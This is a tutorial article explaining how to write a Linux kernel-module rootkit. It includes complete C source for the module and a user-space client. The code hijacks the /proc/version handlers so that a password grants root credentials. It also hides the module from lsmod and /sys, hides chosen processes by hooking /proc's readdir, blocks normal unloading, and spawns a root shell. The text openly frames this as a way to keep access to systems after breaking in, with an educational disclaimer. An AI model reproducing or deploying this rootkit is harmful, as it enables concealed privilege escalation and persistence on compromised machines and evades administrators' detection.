WRITING A SIMPLE ROOTKIT FOR LINUX

Author: Ormi <ormi.ormi@gmail.com>
Website: http://black-coders.net

In this article, I'll describe how to write a simple rootkit for linux.
However, to understand this article, you must know how to write
linux kernel modules. If you don't know, you can read my article:
http://black-coders.net/articles/linux/linux-kernel-modules.php

What is a rootkit? When you break into sb's system you will probably want to
be able to "come back" there after some time. When you install
a rootkit in that system you will be able to get administrator privileges
whenever you want. Good rootkits can hide in compromised system,
so that they can't be found by administrator. There are many ways to hide in
a system. I'm not going to describe all of them :)

In this article we are talking only about linux rootkits.
There are some main types of rootkits for linux.
For example there are rootkits that replace some most important programs in
system(ls, ps, netstat etc.) with modified versions of them that
won't let administrator see that something's wrong. Although, such a rootkit
is quite easy to detect.
Other rootkits work as linux kernel modules. They work in kernel mode, so
they can do everything they want. They can hide themselves, files,
processes etc. In this tutorial we are talking about this type of rootkits.

Rootkit described in this article is meant to work on "vanilla" kernels >=
2.6.29 On older kernels it doesn't compile properly. However,
after a small modification it can work. But I don't guarantee anything ;)

Please, notice that it is not "true" rootkit. To use its features like
getting root privileges you must have local acces to system with
installed rootkit. It can be "normal" user account, but you must be able to
log to that account. For addition when system with installed rootkit
reboots, our rootkit will be "uninstalled" because it is not loaded at the
boot time. But this article is not meant to give script kiddies
true rootkit which they will be able to use. This article only has to teach
you basics of programming rootkits.

At first, I will describe generally how this rootkit works, then I will show
its code and finally I will write in details how it works.
So, let's go:

1. I will start with describing what features it will have.
a) When users "sends" correct command to the rootkit, he will get root
privileges.
b) Another command will let user to hide a process

c) To make possible to unload rootkit safely(without any Oops or errors) it will have functions which will make rootkit visible etc.
I will describe them soon.
d) Another function will let user to "unhide" lastly hidden process.
2. Let's see what functions will be called during loading the rootkit:
a) module_remember_info() - this functions saves some information about rootkit to make possible to unload it later.
b) proc_init() - this is very important function which make possible to "send" command to rootkit.
c) module_hide() - in this function we hide the rootkit
d) tidy() - in this function we do some clean up. If we don't do this, there will be some errors during unloading the rootkit.
e) rootkit_protect() - this is very simple function which just makes impossible to unload the rootkit by "rmmod rootkit" command even if it is visible. However it is still possible to unload by "rmmod -f rootkit" if kernel wa was compiled with support for forced unloading modules.
3. Now, I will describe those functions in details:
- proc_init():
As already mentioned, this function makes possible to send command to the rootkit. Firstly, I wanted to create an entry in proc and then hide it so that it's not possible to find it by "readdir" syscall. But it's not good idea. It was still possible to find rootkit from kernel mode by browsing list of entries in proc. So, what did I do? The rootkit finds an existing entry(for example /proc/version) and replaces its existing functions(like read_proc and write_proc) with other functions. Commands are sent to rootkit by writing or reading from "infected" entry. You can ask: "So by reading or writing? Or both?". It depends on what functions had infected entry.
If it had only writing function, we replace it. Why not to create function for reading? Because it would be suspicious if entry suddenly gets funtion for writing. We have to avoid it - administrator cannot detect us! If entry had only reading function, we replace it.
If it had both, reading and writing functions, we replace only writing function.
So, how to pass commands to that entry? When writing function was replaced you have to just write to that entry correct command. You can do this using echo or similar programs. However, if you want to get root privileges, you must write your own program which writes to that entry and then using execve syscall runs shell.
If reading function was replaced, you must write special program. What does it have to do? It must read from that entry using read syscall.
One of parameters of this function is pointer to buffer where data has to be written. To pass command to our entry, you must save that command in a buffer. Then, you give pointer to that buffer as parameter of read syscall.
Later I will show code of example program which can be used for passing command to the rootkit.

Let's move to next function.
- rootkit_hide():
In this function we hide the rootkit. First problem is that rootkit is displayed by "lsmod" command and is visible in /proc/modules file.
To solve this problem we can delete our module from main list of modules.
Each module is represented by module structure.
Let's take a look at a definition of this structure:

```
struct module
{
enum module_state state;

/* Member of list of modules */
struct list_head list;

/* Unique handle for this module */
char name[MODULE_NAME_LEN];

/* Sysfs stuff. */
struct module_kobject mkobj;
struct module_attribute *modinfo_attrs;
const char *version;
const char *srcversion;
struct kobject *holders_dir;

/* Exported symbols */
const struct kernel_symbol *syms;
const unsigned long *crcs;
unsigned int num_syms;

/* Kernel parameters. */
struct kernel_param *kp;
unsigned int num_kp;

/* GPL-only exported symbols. */
unsigned int num_gpl_syms;
const struct kernel_symbol *gpl_syms;
const unsigned long *gpl_crcs;

#ifdef CONFIG_UNUSED_SYMBOLS
/* unused exported symbols. */
const struct kernel_symbol *unused_syms;
const unsigned long *unused_crcs;
unsigned int num_unused_syms;

/* GPL-only, unused exported symbols. */
unsigned int num_unused_gpl_syms;
```

```
const struct kernel_symbol *unused_gpl_syms;
const unsigned long *unused_gpl_crcs;
#endif

/* symbols that will be GPL-only in the near future. */
const struct kernel_symbol *gpl_future_syms;
const unsigned long *gpl_future_crcs;
unsigned int num_gpl_future_syms;

/* Exception table */
unsigned int num_exentries;
struct exception_table_entry *extable;

/* Startup function. */
int (*init)(void);

/* If this is non-NULL, vfree after init() returns */
void *module_init;

/* Here is the actual code + data, vfree'd on unload. */
void *module_core;

/* Here are the sizes of the init and core sections */
unsigned int init_size, core_size;

/* The size of the executable code in each section. */
unsigned int init_text_size, core_text_size;

/* Arch-specific module values */
struct mod_arch_specific arch;

unsigned int taints; /* same bits as kernel:tainted */

#ifdef CONFIG_GENERIC_BUG
/* Support for BUG */
unsigned num_bugs;
struct list_head bug_list;
struct bug_entry *bug_table;
#endif

#ifdef CONFIG_KALLSYMS
/* We keep the symbol and string tables for kallsyms. */
Elf_Sym *symtab;
unsigned int num_symtab;
char *strtab;

/* Section attributes */
struct module_sect_attrs *sect_attrs;
```

```
/* Notes attributes */
struct module_notes_attrs *notes_attrs;
#endif

/* Per-cpu data. */
void *percpu;

/* The command line arguments (may be mangled). People like
keeping pointers to this stuff */
char *args;
#ifdef CONFIG_MARKERS
struct marker *markers;
unsigned int num_markers;
#endif
#ifdef CONFIG_TRACEPOINTS
struct tracepoint *tracepoints;
unsigned int num_tracepoints;
#endif

#ifdef CONFIG_TRACING
const char **trace_bprintk_fmt_start;
unsigned int num_trace_bprintk_fmt;
#endif

#ifdef CONFIG_MODULE_UNLOAD
/* What modules depend on me? */
struct list_head modules_which_use_me;

/* Who is waiting for us to be unloaded */
struct task_struct *waiter;

/* Destruction function. */
void (*exit)(void);

#ifdef CONFIG_SMP
char *refptr;
#else
local_t ref;
#endif
#endif
};
```

---

struct list_head list - this is the main list of modules. We have to delete our module from this list.

When we do this, rootkit will no longer be visible by "lsmod" and in "/proc/modules".
But our rootkit is still visible in /sys/module/ directory. /sys is also special filesystem(like /proc).
Each entry in /sys is represented by kobject structure. Each module has its own kobject. In definition of struct module we see:
struct module_kobject mkobj
Let's look at definition of module_kobject structure:

```
struct module_kobject
{
struct kobject kobj;
struct module *mod;
struct kobject *drivers_dir;
struct module_param_attrs *mp;
};
```

Most important for us is
struct kobject kobj
kobj represents our module in /sys/module/ directory.
Let's look at definition os kobject structure.

```
struct kobject {
const char *name;
struct list_head entry;
struct kobject *parent;
struct kset *kset;
struct kobj_type *ktype;
struct sysfs_dirent *sd;
struct kref kref;
unsigned int state_initialized:1;
unsigned int state_in_sysfs:1;
unsigned int state_add_uevent_sent:1;
unsigned int state_remove_uevent_sent:1;
unsigned int uevent_suppress:1;
};
```

We see:
struct list_head entry;
This is list of kobjects. At first, we must delete our module from /sys/modules by kobject_del() function and then
we must delete our kobject from "entry" list. Let's talk about next function

- tidy():
When you analyse what kernel does during unloading a module you will see that it deletes entry in /sys/module for that module.
But there's a problem - we removed that entry. So when we unload a module the kernel will try to remove non-existing entry. This will cause
Oops and probably the system will crash. We must avoid it. But you can see that when we set some pointers to NULL, the kernel won't try
to remove that entry. If you want to really understand this function you must browse linux kernel's source code on your own. Writing
about process of loading and unloading modules could be bigger than 7 articles like this you are currently reading ;)

-rootkit_protect():
Very simple function. It just calls try_module_get function, giving pointer to current module as parameter.
try_module_get increases counter of references to the module. As a result, module cannot be unloaded by normal "rmmod" command.
However, as already mentioned, if kernel was compiled with support for forced modules unloading, module still can be unloaded
by "rmmod -f" command.

There is also an important function module_show() which is invoked when user "tells" the rootkit to "unhide" module. It just adds the rootkit
to main list of modules in place where it was previously.
module_remember_info which I haven't decribed yet just saves pointer to entry in that
list which was "before" our rootkit. module_show() adds rootkit to that list "after" that entry.

4. There are some other functions I have to explain.

buf_read and buf_write - these are functions which will "put" instead of original writing/reading funtions. They execute check_buf function
which checks if there is a command passed. If there is command passed, there is done correct thing. If not, original function is invoked.

check_buf - As mentioned, this function checks commands. I'll explain details soon.

There is one thing I have to explain.
To list running processes from user mode, programs list content of /proc.
Each process has its own directory there. Name of that directory
is this process' PID. Notice that proc_dir_entry has pointer to file_operations structure.
This structure defines operations on a file. In this situation on entry in /proc. Let's look at definition of this structure:

```
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long,
loff_t);
ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long,
loff_t);
int (*readdir) (struct file *, void *, filldir_t);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, struct dentry *, int datasync);
int (*aio_fsync) (struct kiocb *, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *,
int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned
long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *,
size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *,
size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **);
};
```

Important fields for us are: read, write and readdir.
readdir - this function is used to list content of a directory. How do we hide a process? We store pid's of hidden processes in "pid" buffer.
We find proc_dir_entry for /proc. Then we replace its readdir function in file_operations with our own. This function normally lists content of /proc, but omits directories representing hidden processes. How does readdir fuction work?
It just goes through elements in a directory, but there is one interesting thing. It doesn't write data connected with directory's content anywhere directly but uses filldir function(given as a parameter) to do this.

filldir_t filldir - this is pointer to filldir function which has to be used by readdir function. Let's look at the prototype:

```
static int filldir(void * __buf, const char * name, int namlen, loff_t
offset,
u64 ino, unsigned int d_type)
```

For example:
readdir function for /proc directory lists its content. It goes through all elements. For each element it invokes filldir as "name" parameter giving name of current element.

So: If programs list content of /proc to see what processes run in the system and readdir function from file_operations structure is used to list content of a directory, we can modify readdir of /proc so that it won't display processes we want to hide! We just set "readdir" pointer in /proc's file_operations structure to our version of readdir. Our readdir just invokes original readdir but as its "filldir" parameter gives pointer to our filldir function. What does our filldir do? It checks if "name" parameter is equal to pid of one of hidden processes. If it is, it just doesn't display it. Otherwise, it invokes original filldir function.

Another thing I have to explain is connected with replacing reading and writing functions. There are two possiblities to "define" reading and writing functions for entry in /proc. You can give pointer to your function in proc_read/proc_write field or give pointer to your function in entry's file_operations structure's read/write fields. When we infect entry we set proc_read/proc_write pointer to our function, if it was originally set and we set read/write field of file_operations if it was set.

How to change user's privileges to root privileges? We must change uid, euid, gid and egid of current process to 0. Each process is represented by task_struct structure. It's quite complex structure and I won't show its definition here. uid, gid and other similar "things" are stored in cred structure which is element of task_struct. To change value of this fields we have to invoke prepare_creds() function which returns pointer to struct cred with uid, gid etc. set to values equal to values of uid, gid etc. in current process' cred structure. Then, we can modify all fields of this structure. Finally we invoke commit_creds() function, giving pointer to our struct cred as parameter.

How do we find entry which has to be infected? Entries in /proc are organised in form of a list - proc_dir_entry has field "next" which
is pointer to next entry in current directory. Each directory in /proc has "subdir" field, which is pointer to first entry in that directory.
So how do we locate entry we want to infect? At first we set pointer to /proc directory. Let's name this pointer "ptr".
Then we set it to ptr->subdir. After that we compare name of entry which is pointed by ptr with name of entry we want to infect. If it is equal,
we found our entry. Otherwise we go to ptr->next and compare its name with entry to infect etc.

All commands and other important things are configured in rootkit_conf.conf.h configuration file.

5. It's time to show code of our rootkit. If I haven't explained something yet, I will describe it as comments in the code.

At first, rootkit_conf.conf.h:

```
/* Config file! */
static char password[] = "secretpassword" ; //give here password
static char passwaiter[] = "version" ; //here is name of entry to infect in /proc - you pass commands to it
static char module_release[] = "release" ; //command to release the module(make possible to unload it)
static char module_uncover[] = "uncover" ; //command to show the module
static char hide_proc[] = "hide" ; //command to hide specified process
static char unhide_proc[] = "unhide"; //command to "unhide" last hidden process
```

And rootkit.c:

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/stat.h>
#include <linux/uaccess.h>
#include <linux/file.h>
```

```
#include "rootkit_conf.conf.h"

MODULE_LICENSE("GPL") ;
MODULE_AUTHOR("Ormi<ormi.ormi@gmail.com>") ;
MODULE_DESCRIPTION("Simple rootkit using procfs") ;
MODULE_VERSION("0.1.2");

static int failed;
static char pid[10][32];
static int pid_index;

/* Here are pointers in which we save original, replaced pointers. We use
them later, during unloading the module.
I think that their names explain what they are ;) */
static int (*old_proc_readdir)(struct file *, void *, filldir_t);
static filldir_t old_filldir ;
static ssize_t (*old_fops_write) (struct file *, const char __user *,
size_t, loff_t *);
static ssize_t (*old_fops_read)(struct file *, char __user *, size_t, loff_t
*);
static write_proc_t *old_write;
static read_proc_t *old_read;

static struct proc_dir_entry *ptr; /* Pointer to "infected" entry */
static struct proc_dir_entry *root; /* Pointer to /proc directory */
static struct list_head *prev; /* Pointer to entry in main modules list which
was before our module before we hid the rootkit */

static struct file_operations *fops; /* file_operations of infected entry */
static struct file_operations *root_fops; /* file_operations of /proc
directory */

static inline void module_remember_info(void)
{
prev = THIS_MODULE->list.prev;
}

static inline void module_show(void)
{
list_add(&THIS_MODULE->list, prev); /* We add our module to main list of
modules */
}

/* Parameter of this function is pointer to buffer in which there should be
command */
static int check_buf(const char __user *buf)
{
/* Here we give root privileges */
```

```
struct cred *new = prepare_creds();
if (!strcmp(buf, password)) {
new->uid = new->euid = 0;
new->gid = new->egid = 0;
commit_creds(new);
}

/* Here we make possible to unload the module by "rmmod" */
else if (!strcmp(buf, module_release))
module_put(THIS_MODULE);
/* Here we make module visible */
else if (!strcmp(buf, module_uncover))
module_show();
/* We hide process */
else if (!strncmp(buf, hide_proc, strlen(hide_proc))) {
if (pid_index > 9)
return 0;
sprintf(pid[pid_index], "%s", buf + 5);
pid_index++;
}
/* We "unhide" lastly hidden process */
else if (!strncmp(buf, unhide_proc, strlen(unhide_proc))) {
if (!pid_index)
return 0;
pid_index--;
}
/* If we are here, there was no command passed */
else
return 1;
return 0;
}

/* Our "write" function */
static int buf_write(struct file *file, const char __user *buf,
unsigned long count, void *data)
{
/* If check_buf return 0, there was command passed */
if (!check_buf(buf))
return count;
/* Otherwise we execute original function */
return old_write(file, buf, count, data);
}

/* Our "read" function for read_proc field*/
static int buf_read(char __user *buf, char **start, off_t off,
int count, int *eof, void *data)
{
if (!check_buf(buf))
```

```
return count;
return old_read(buf, start, off, count, eof, data);
}

/* For file_operations structure */
static ssize_t fops_write(struct file *file, const char __user *buf_user,
size_t count, loff_t *p)
{
if (!check_buf(buf_user))
return count;
return old_fops_write(file, buf_user, count, p);
}

/* For file_operations structure */
static ssize_t fops_read(struct file *file, char __user *buf_user,
size_t count, loff_t *p)
{
if (!check_buf(buf_user))
return count;
return old_fops_read(file, buf_user, count, p);
}

/* Our filldir function */
static int new_filldir(void *__buf, const char *name, int namelen,
loff_t offset, u64 ino, unsigned d_type)
{
int i;
/* We check if "name" is pid of one of hidden processes */
for (i = 0; i < pid_index; i++)
if (!strcmp(name, pid[i]))
return 0; /* If yes, we don't display it */
/* Otherwise we invoke original filldir */
return old_filldir(__buf, name, namelen, offset, ino, d_type);
}

/* Our readdir function */
static int new_proc_readdir(struct file *filp, void *dirent, filldir_t
filldir)
{
/* To invoke original filldir in new_filldir we have to remeber pointer to
original filldir */
old_filldir = filldir;
/* We invoke original readdir, but as "filldir" parameter we give pointer to
our filldir */
return old_proc_readdir(filp, dirent, new_filldir) ;
}

/* Here we replace readdir function of /proc */
```

```
static inline void change_proc_root_readdir(void)
{
root_fops = (struct file_operations *)root->proc_fops;
old_proc_readdir = root_fops->readdir;
root_fops->readdir = new_proc_readdir;
}

static inline void proc_init(void)
{

ptr = create_proc_entry("temporary", 0444, NULL);
ptr = ptr->parent;
/* ptr->parent was pointer to /proc directory */
/* If it wasn't, something is seriously wrong */
if (strcmp(ptr->name, "/proc") != 0) {
failed = 1;
return;
}
root = ptr;
remove_proc_entry("temporary", NULL);
change_proc_root_readdir(); /* We change /proc's readdir function */
ptr = ptr->subdir;
/* Now we are searching entry we want to infect */
while (ptr) {
if (strcmp(ptr->name, passwaiter) == 0)
goto found; /* Ok, we found it */
ptr = ptr->next; /* Otherwise we go to next entry */
}
/* If we didn't find it, something is wrong :( */
failed = 1;
return;
found:
/* Let's begin infecting */
/* We save pointers to original reading and writing functions, to restore
them during unloading the rootkit */
old_write = ptr->write_proc;
old_read = ptr->read_proc;

fops = (struct file_operations *)ptr->proc_fops; /* Pointer to
file_operations structure of infected entry */
old_fops_read = fops->read;
old_fops_write = fops->write;

/* We replace write_proc/read_proc */
if (ptr->write_proc)
ptr->write_proc = buf_write;
else if (ptr->read_proc)
ptr->read_proc = buf_read;
```

```
/* We replace read/write from file_operations */
if (fops->write)
fops->write = fops_write;
else if (fops->read)
fops->read = fops_read;

/* There aren't any reading/writing functions? Error! */
if (!ptr->read_proc && !ptr->write_proc &&
!fops->read && !fops->write) {
failed = 1;
return;
}
}

/* This functions does some "cleanups". If we don't set some pointers tu
NULL,
we can cause Oops during unloading rootkit. We free some structures,
because we don't want to waste memory... */
static inline void tidy(void)
{
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
}

/*
We must delete some structures from lists to make rootkit harder to detect.
*/
static inline void rootkit_hide(void)
{
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
}

static inline void rootkit_protect(void)
{
try_module_get(THIS_MODULE);
}

static int __init rootkit_init(void)
{
```

```
module_remember_info();
proc_init();
if (failed)
return 0;
rootkit_hide();
tidy();
rootkit_protect();

return 0 ;

}

static void __exit rootkit_exit(void)
{
/* If failed, we don't have to do any cleanups */
if (failed)
return;
root_fops->readdir = old_proc_readdir;
fops->write = old_fops_write;
fops->read = old_fops_read;
ptr->write_proc = old_write;
ptr->read_proc = old_read;
}

module_init(rootkit_init);
module_exit(rootkit_exit);
```

Take a look at example program which sends commands to our entry:

```
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>

#include "rootkit_conf.conf.h"

char file[64];
char command[64];
int root = 0;

int main(int argc, char *argv[]) {
if(argc < 2) {
```

```
fprintf(stderr, "Usage: %s <command>\n", argv[0]);
return 1;
}
int fd ;
/* We get path to infected entry */
sprintf(file, "/proc/%s", passwaiter);
/* If sent command is equal to command which has to give us root, we must run
shell at the end */
if(!strcmp(argv[1], password))
root = 1;
/* At first we try to write command to that entry */
fd = open(file, O_WRONLY) ;
if(fd < 1) {
printf("Opening for writing failed! Trying to open for reading!\n");
/* Otherwise, we send command by reading */
fd = open(file, O_RDONLY);
if(!fd) {
perror("open");
return 1;
}
read(fd, argv[1], strlen(argv[1]));
}
else
write(fd, argv[1], strlen(argv[1]));
end:
close(fd) ;
printf("[+] I did it!\n") ;
/* if we have to get root, we run shell */
if(root) {
uid_t uid = getuid() ;
printf("[+] Success! uid=%i\n", uid) ;
setuid(0) ;
setgid(0) ;
execl("/bin/bash", "bash", 0) ;
}
return 0;
}
```

How to compile this rootkit? You should know this if you read my previous articles about programming linux kernel modules ;)

You can ask "why everything in rootkit is defined as "static""? Because things defined as static aren't exported to /proc/kallsyms.
It makes the rootkit harder to detect. I won't desribe details - /proc/kallsyms is good topic for another article :)

That's all for now ;) Good bye :)